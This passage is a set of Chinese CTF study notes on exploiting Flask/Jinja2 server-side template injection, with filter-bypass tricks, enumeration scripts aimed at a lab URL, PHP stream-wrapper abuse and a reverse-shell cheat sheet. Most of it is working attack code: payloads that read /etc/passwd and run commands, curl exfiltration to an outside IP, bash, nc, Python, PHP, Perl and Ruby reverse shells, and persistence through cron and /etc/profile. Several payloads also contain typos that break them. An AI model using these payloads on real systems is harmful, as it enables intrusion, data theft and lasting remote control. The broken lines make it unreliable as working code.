Python ''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/etc/passwd")
|
3.读取配置文件中的FLAG
Python {{url_for.__globals__['current_app'].config.FLAG}} {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
|
找类所在的位置使用脚本跑。
Python import html
import requests
url='http://1.14.110.159:18080/flasklab/level/1'
def find_class_num(): for i in range(500): parm_name='code' parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"]}}" data = {parm_name:parm_value} print(data) re = requests.post(url,data=data).text htmltest =html.unescape(re) print(htmltest) if '_frozen_importlib_external.FileLoader' in re: print(i) return i def find_eval(): for i in range(500): parm_name='code' parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}" data = {parm_name:parm_value} print(data) re = requests.post(url,data=data).text htmltest =html.unescape(re) # print(htmltest) if 'popen' in re: print(i) return i find_eval()
|
小通用查找脚本:
Python import html
import requests
url='' parm_name=''
def find_class_num(class_name): for i in range(500): parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"]}}" data = {parm_name:parm_value} re = requests.post(url,data=data).text htmltest =html.unescape(re) print(htmltest) if class_name in re: print(f"{class_name}所在的位置:",i) return i def find_eval(func): for i in range(0,500): parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}" data = {parm_name:parm_value} # print(data) print(f"正在查找第{i}个类下的{func}") re = requests.post(url,data=data).text htmltest =html.unescape(re) # print(htmltest) if func in re: print(i) print(f"find,利用:{parm_value}") return i if __name__ == '__main__': print("请求方式是post,get方式请更改函数里面的请求参数。") url = input("输入URL:") parm_name = input("输入参数:") choice=eval(input("操作:1,查找类,2,查找内嵌函数:")) if choice==1: class_name = input("输入查找类:") find_class_num(class_name) if choice ==2: func = input("输入查找的函数:") find_eval(func)
|
命令执行
0.可直接使用lipsum
{{lipsum.__globals__['os']['popen']('ls').read()}}
1.利用内嵌函数的eval 进行命令执行
先寻找含有eval的内嵌函数:脚本:(改为通用)
Python def find_eval(): for i in range(500): parm_name='code' parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}" data = {parm_name:parm_value} print(data) re = requests.post(url,data=data).text htmltest =html.unescape(re) # print(htmltest) if 'eval' in re: print(i) return i
|
若查出来为59,则直接使用下面payload。
Python ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
|
当然可以直接利用上面的脚本直接找popen:
Python ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['popen']
|
2.利用warnings.catch_warnings 进行命令执行
Python [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()
|
(2)利用 _ _ import _ _ 进行命令执行
Python {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
|
3.利用os模块来执行命令
在其他函数中直接掉用os模块来执行os.popen()
(1)通过config
Python {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
|
(2)通过url_for
Python {{url_for.__globals__['os'].popen('ls').read()}} cycler {{cycler.__init__.__globals__.os.popen('id').read()}} joiner {{joiner.__init__.__globals__.os.popen('id').read()}} namespace {{namespace.__init__.__globals__.os.popen('id').read()}}
|
(3)子类中的os模块
先查找含有os模块的子类:
Python import requests url = "" for i in range(500): data = { "parms": "{{''.__class__.__base__.__subclasses__()[{}].__init__.__globals__}}".format(str(i)) }#传入的参数,根据事实情况更改参数的名称 try: re = requests.get(url=url,params=data).text if 'os.py' in re: print(i,data["parms"]) except: pass
|
{{''.__class__.__base__.__subclasses__()[171].__init__.__globals__['os'].popoen('ls').read()}}
4.利用importlib类执行命令。
importlib类中的load_module可以引用os
首先先找到importlib的位置
然后就有payload:
Python {{''.__class__.__base__.__subclasses__()[69]['load_moudule']("os")["popen"]("ls").read()}}
|
5.利用linecache函数执行命令
这个函数中也有os模块,依然是先找linecache的位置
Python {{''.__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen('ls').read()}}
|
6.利用subprocess.Popen类
依然找它的下标,然后
Python {{''.__class__.__base__.__subclasses__()[200]('ls /',shell-True,stdout=-1).communicate()[0].strip()}}
|
7.利用任意字符串或特殊变量
Python sss.__init__.__globals__.__builtins__.open("/flag").read() config.__class__.__init__.__globals__['os'].popen('ls').read() request.application.__globals__['__builtins__']['__import__']('os').popen('ls').read()
|
绕过
中括号 []
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。
Python ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read() ().__class__.__mro__.__getitem__(1).__subclasses__().pop(407)("cat /flag",shell=True,stdout=-1).communicate().__getitem__(0)
|
unicode字符:[],﹇﹈
引号 ‘’**
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
Python {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
|
unicode字符:"",''
单下划线 _
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过。
双下划线 __
同样利用request.args属性。
Python {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}?&class=__class__&mro=__mro__&subclasses=__subclasses__
|
或者request.values属性。
Python http://requestbin.net/r/1eqk6r61?p=cat /flag
|
点 .
''.__class__可以写成 getattr('','__class__')或者 ''|attr('__class__')。
''.eval可以写成 ''|attr('__getitem__')('eval')。
''.__class__可以写成''['__class__']
双花括号{{}}
基础:
在前端可以使用{% %}来包裹编程语句,比如{%for i in range(1) %}。如果是for循环,就要有{%endfor%}结尾,if就{%endif%}
举例:
{%for girl in girls %}
{%if girl=='sdf'%}
<li>{{girl}}</li>
{%endif%}
{%endfor%}
如果{{}}被过滤,可以使用{%%}
1.判断是否可行
{%if 2>1%}success{%endif%} //如果界面返回success说明执行成功,那么我们就可以构造if语句来实现
2.构造,找payload
{% if ''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}
Python import requests url = "http://1.14.110.159:18080/flasklab/level/2" for i in range(500): data = { "code": "{% if ''.__class__.__base__.__subclasses__()[" + str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()') %}success{%endif%}" }#传入的参数,根据事实情况更改参数的名称 try: re = requests.post(url=url,params=data).text if 'success' in re: print(re) print(i,data["code"]) break except: pass
|
3.找到payload之后,怎么回显呢?
使用{%print()%}
Python {% print(''.__class__.__base__.__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()')) %} {% print(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls').read()) %}
|
unicode字符:︷︷︸︸
圆括号
unicode字符:⁽⁾,₍₎
对函数执行方式重载,如 request.__class__.__getitem__=__builtins__.exec;,执行request[payload] 时相当于 exec(payload)。
lambda表达式。
无回显的ssti
什么称为无回显呢?就是,如果注入的payload不行,就返回一个特定的信息。如果正确就不返回或返回确定的信息。
1.反弹shell
Python {{''.__class__.__base__.__subclasses__()[59]__init__.__globals__['popen']('nc 43.143.93.88 8888 -e /bin/bash').read()}}
|
2.带外注入,通过requestbin 或 dnslog的方式将信息传到外界
什么意思?就是把它执行后的结果返回到我的服务器上来,但是有一个憋端,只能看第一行
(1)在服务器上执行下面命令
python3 http.server 8888
(2执行下面payload
Python {{''.__class__.__base__.__subclasses__()[59]__init__.__globals__['popen']('curl http://43.143.93.88:8888/cat /etc/passwd').read()}} //使用反引号 意思是命令执行的结果返回到http://xx.xx.xx.xx:888中
|
3.纯盲注
Python import requests from string import printable as pt
host = '' res = ''
for i in range(0,40): for c in pt: payload = '{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__["__builtins__"]["file"]("/etc/passwd").read()|string).index("%c",%d,%d)}}' % (c,i,i+1) param = { "name":payload } req = requests.get(host,params=param)
if req.status_code == 200: res += c break print(res)
|
外部参数利用(爆破下标)
request.args或request.values。
列目录
读文件
Python {{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(475)(request.args.file)|attr(request.args.re)()}}
|
数字
使用set 配合length设置一个变量等于某个数值:
比如,构造20:
Python {% set a='qqqqq'|length*'tttt'|length%} {{''.__class__.__base__.__subclasses__()[a]}}
|
就可以得到a=20,靶场利用:
Python {% set a='aaaaa'|length*'aaaa'|length%}{{a}}{{''.__class__.__base__.__subclasses__()[a]}}
|
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208530-1643929227.png)
unicode字符:𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗,𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡,0123456789
对象层面set {}=None
使用其他引用:
{{% set config=None %}} => {{url_for.__globals__.current_app.config}}
{{% set __builtins__=None %}} => {{[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__}}
del
重载: reload(__builtins__)
获得对应函数的上下文常量:func.__code__.co_consts
禁用config
Python {{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}}
|
混合过滤‘,“,'+', 'request', '.', '[',]'
参考:https://www.gem-love.com/ctf/2598.html
使用{%set a=dict(cla=1,ss=2)|jion%} 的特性可以使得{{a}} = class
Python Payload原型 {{()._class_._ _base__.__subclasses__()[117].__init_. _globals_['popen']('cat flag').read()}} {%set a=dict(__class__=1)|join%} {%set b=dict(__base__=1)|join%} {%set c=dict(__subclasses__=1)|join%} {%set d=dict(__getitem__=1)|join%} {%set e=dict(__in=1,it__=2)|join%} {%set f=dict(__glo=1,bals__=2)|join%} {%set g=dict(popen=1)|join%} {%set kg={}|select()|string()|attr(d)(10)%} [%set i=(dict(cat=1)|join,kg,dict(flag=2)|join)join%} {%set r=dict(read=1)|join%} {{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}
|
混合过滤’,“,[],request,+, .._ 0-9,
Python {% set xhx = (({ }|select()|string()|list()).pop(24)|string())%} # _ {% set spa = ((app.__doc__|list()).pop(102)|string())%} #空格 {% set pt = ((app.__doc__|list()).pop(320)|string())%} #点 {% set yin = ((app.__doc__|list()).pop(337)|string())%} #单引号 {% set left = ((app.__doc__|list()).pop(264)|string())%} #左括号( {% set right = ((app.__doc__|list()).pop(286)|string())%} #右括号) {% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349)%} #斜线/ {% set bu = dict(buil=aa,tins=dd)|join() %} #builtins {% set im = dict(imp=aa,ort=dd)|join() %} #import {% set sy = dict(po=aa,pen=dd)|join() %} #popen {% set os = dict(o=aa,s=dd)|join() %} #os {% set ca = dict(ca=aa,t=dd)|join() %} #cat {% set flg = dict(fl=aa,ag=dd)|join() %} #flag {% set ev = dict(ev=aa,al=dd)|join() %} #eval {% set red = dict(re=aa,ad=dd)|join()%} #read {% set bul = xhx*2~bu~xhx*2 %} #__builtins__
#拼接起来 __import__('os').popen('cat /flag').read() {% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %}
|
第二届SWCTF ssti
比上面的还要过滤啦_,不能再使用,数字也过滤,可以使用count
{{lipsum|string|list}} 得到 <function_generatexxxxx>这里面就含有_,再配合set join count就可以得到里面的 _
最终其实就是变形
{{lipsum.__globals__['os']['popen']('ls').read()}}
Python
{%set nine=dict(aaaaaaaaa=b)|join|count%} //数字9 {%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%} //数字18 {%set pop=dict(pop=a)|join%} //pop {%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%} //下划线_ {%set kg=(lipsum|string|list)|attr(pop)(nine)%} //从lipsum|string|list表中获得空格 {%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%} //__globals__ {%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%} //__getitem__ {%set os=dict(os=a)|join%} //os {%set popen=dict(popen=a)|join%} //popen {%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%} //cat flag {%set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}
{%set nine=dict(aaaaaaaaa=b)|join|count%} {%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%} {%set pop=dict(pop=a)|join%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%} {%set kg=(lipsum|string|list)|attr(pop)(nine)%} {%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%} {%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%} {%set os=dict(os=a)|join%}{%set popen=dict(popen=a)|join%} {%set flag=(dict(cat=a)|join,kg,'/',dict(flag=a)|join)|join%} {%set read=dict(read=a)|join%} {%set ls=(dict(ls=a)|join,kg,'/')|join%} {{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(ls)|attr(read)()}}
snert={%set nine=dict(aaaaaaaaa=b)|join|count%}{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set kg=(lipsum|string|list)|attr(pop)(nine)%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}{%set os=dict(os=a)|join%}{%set popen=dict(popen=a)|join%}{%set flag=(dict(cat=a)|join,kg,"/",dict(flaggg=a)|join)|join%}{%set read=dict(read=a)|join%}{%set ls=(dict(ls=a)|join,kg,"/")|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}
|
关键字比如flag,import
拼接
比如过滤“__class__”
{{''["__clas"+"s__"]}}
base64编码
__getattribute__使用实例访问属性时,调用该方法。
例如被过滤掉__class__关键词:
Python {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
|
字符串拼接
Python yyy.__init__.__globals__.__builtins__|attr('__getit''em__')('ev''al')('__imp''ort__("o''s").po''pen("ls /").re''ad()') [].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read() [].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["op"+"en"]("/fl"+"ag").read()
|
反转
Python {{cycler['__tini__'[::-1]]['__slabolg__'[::-1]].os.popen('id').read()}}
|
lower()
Python {{sss.__init__.__globals__.__builtins__.open("/FLAG".lower()).read()}}
|
清空关键字list
[关键字list变量名].clear()
open("/flag").read()
16进制
.__class__ => ["\x5f\x5fc\x6cass\x5f\x5f"]
8进制
.__class__ => ["\137\137\143\154\141\163\163\137\137"]
.__base__ => ["\137\137\142\141\163\145\137\137"]
.__subclasses__ => ["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]
.__init__ => ["\137\137\151\156\151\164\137\137"]
.__globals__ => ["\137\137\147\154\157\142\141\154\163\137\137"]
.__builtins__ => ["\137\137\142\165\151\154\164\151\156\163\137\137"]
.__import__ => ["\137\137\151\155\160\157\162\164\137\137"]
.popen => ["\160\157\160\145\156"]
.read => ["\162\145\141\144"]
unicode编码
.__class__ => ["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]
unicode字符 / Non-ASCII Identifies
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳
𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡𝕒𝕓𝕔𝕕𝕖𝕗𝕘𝕙𝕚𝕛𝕜𝕝𝕞𝕟𝕠𝕡𝕢𝕣𝕤𝕥𝕦𝕧𝕨𝕩𝕪𝕫
0123456789
参考:https://www.compart.com/en/unicode/U+0030
盲注:
Python import requests from string import printable as pt
host = '' res = ''
for i in range(0,40): for c in pt: payload = '{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__["__builtins__"]["file"]("/etc/passwd").read()|string).index("%c",%d,%d)}}' % (c,i,i+1) param = { "name":payload } req = requests.get(host,params=param)
if req.status_code == 200: res += c break print(res)
|
Day 5
命令执行绕过
命令执行函数介绍:什么是命令执行函数,我们在Linux系统上执行ls,cat等,windows上执行dir等这些属于命令;在系统的shell窗口我们可以直接输入命令,就可以执行,但是在代码中,我们需要命令执行函数才能执行这些命令,比如system('ls'); 总之,在代码中,命令需要命令执行函数才能起作用。
常见的命令执行函数,system,exec ,passthru , shell_exec , 反引号,popen , proc_open , pcntl_exec;
小误区,eval 函数用于执行字符串中的代码。它接受一个字符串作为参数,并将其解释为 PHP 代码进行执行;相当于解析代码作用,属于危险函数。
绕过:https://blog.csdn.net/m0_64815693/article/details/127268809
常用PHP伪协议
读文件
file:// 协议
读取文件,当要读取某个文件的时候使用,比如:
Python 正常读取文件: http://127.0.0.1?filename=/etc/passwd 使用file协议: http://127.0.0.1?filename=file:///var/etc/passwd
|
php://filter读文件
php://filter/read=convert.base64-encode/resource=[文件名]
举例
Python http://127.0.0.1?filename=php://filter/read=convert.base64-encode/resource=flag.php
|
传参数
正常传参?snert=test
data:// 协议传
用法比如传入snert=test
Python http://127.0.0.1/include.php?snert=data://text/plain,test http://127.0.0.1/include.php?snert=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
|
php://input传
Python http://127.0.0.1/include.php?file=php://input [再POST传入DATA部分] <?php phpinfo(); ?>
|
反弹shell总结
https://xz.aliyun.com/t/9488
1.nc反弹shell
攻击机开启本地监听:
netcat -lvvp 2333
目标机主动连接攻击机:
Python netcat 47.xxx.xxx.72 2333 -e /bin/bash # nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
|
2.bash反弹
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
Python bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
|
以下是针对Bash反弹一句话进行了拆分说明:
![](https://img2024.cnblogs.com/blog/3452880/202406/3452880-20240619214208593-1893393616.png)
点击图片可查看完整电子表格
3.Curl配合Bash反弹shell
这里操作也很简单,借助了Linux中的管道。
首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
并开启2333端口的监听。
然后再目标机上执行如下,即可反弹shell:
curl 47.xxx.xxx.72|bash
Curl配合Bash反弹shell的方式在CTF题目中经常出现,curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。
4.将反弹shell的命令写入定时任务
我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)
Python /1 * * * /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1
#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell
|
5.将反弹shell的命令写入/etc/profile文件
将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。
/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令
当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell
6.利用Socat反弹shell
Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此。我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参见这里:http://brieflyx.me/2015/linux-tools/socat-introduction/
安装Socat的方法很简单:
Ubuntu等可以直接使用 apt-get install socat 命令进行安装
也可以去官网下载源码包:http://www.dest-unreach.org/socat
攻击机开启本地监听:
socat TCP-LISTEN:2333 -
或
nc -lvvp 2333
目标机主动连接攻击机:
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
7.利用Telnet反弹shell
当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。
方法一
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a
方法二
攻击机需要开启两个本地监听:
nc -lvvp 2333
nc -lvvp 4000
目标机主动连接攻击机:
telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000
在攻击机2333端口的终端上输入的命令会在目标机上执行,执行的回显将通过4000端口的终端显示出来。
各种脚本反弹shell
Python 脚本反弹shell
当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
Python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess43.call(["/bin/sh","-i"]);'
|
php 脚本反弹shell
当目标主机上有php环境时,我们可以用php来反弹shell。
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
Python php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
|
Perl 脚本反弹shell
当目标主机上有perl环境时,我们可以用perl来反弹shell。
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
Python perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
Ruby脚本反弹shell
当目标主机上有ruby环境时,我们可以用ruby来反弹shell。
攻击机开启本地监听:
nc -lvvp 2333
目标机主动连接攻击机:
Python ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 或 ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|